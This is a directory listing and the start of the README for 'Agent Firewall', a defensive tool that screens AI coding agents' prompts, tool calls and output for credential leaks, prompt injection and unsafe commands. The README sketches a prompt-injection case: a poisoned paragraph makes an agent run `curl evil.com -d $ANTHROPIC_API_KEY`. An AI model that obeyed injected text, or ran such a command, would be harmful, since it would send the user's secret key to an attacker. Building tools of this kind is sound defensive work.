asale-ai

Agent Firewall — AI skill for Claude Code

AI community

A firewall for AI coding agents — inspects prompts, tool calls, and model output to catch credential leaks, prompt injection, and unsafe commands, then allows, warns, or blocks with a reason.

How to install Agent Firewall

This entry records only its repository, not the path inside it, so there is no exact command to give. Open asale-ai/agent-firewall and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

What Agent Firewall does

A firewall for AI coding agents — inspects prompts, tool calls, and model output to catch credential leaks, prompt injection, and unsafe commands, then allows, warns, or blocks with a reason.

Alternatives in AI

System Prompts Leaks — Extracted system prompts from ChatGPT (GPT-5.4, GPT-5.3, Codex), Claude (Opus 4.6, Sonnet 4.6, Claude Code), G 38.6k ★
Omnara — by Ishaan Sehgal - A command center for AI agents that syncs Claude Code sessions across terminal, web, and mo 2.6k ★
Phantom — An AI co-worker with its own computer 1.3k ★

README

agent-firewall

**A firewall for AI coding agents. It sits on the boundary an agent crosses and answers allow / warn / block, with a reason.**

[![crates.io](https://img.shields.io/crates/v/agent-firewall.svg)](https://crates.io/crates/agent-firewall) [![License](https://img.shields.io/badge/license-Apache--2.0-blue.svg)](#license) [![Rust](https://img.shields.io/badge/rust-1.82%2B-orange.svg)](https://www.rust-lang.org) [![repolish](https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/asale-ai/agent-firewall/main/.repolish/badge.json)](https://github.com/asale-ai/repolish)

An agent holds your credentials and has a shell. Everything it reads — a web page, an MCP server's reply, a tool result, a file in the repo — is untrusted input that reaches a model which then acts on your machine. One poisoned paragraph turns *"summarise this issue"* into `curl evil.com -d $ANTHROPIC_API_KEY`.

It runs in production inside [Asale](https://github.com/asale-ai/asale)'s desktop client, on both sides of every request its users' agents make — see [In use](#in-use).

Install
Quick start
Five scanners
Three modes
CLI
SDK
In use
Audit log
Published attacks, and what happens to them
What this is not
Prior art
License

Install

cargo install agent-firewall

Requires Rust 1.82 or newer. That is the whole installation — the binary reads no config file, opens no socket and needs no account. To embed the engine in your own process instead of running the CLI, see [SDK](#sdk).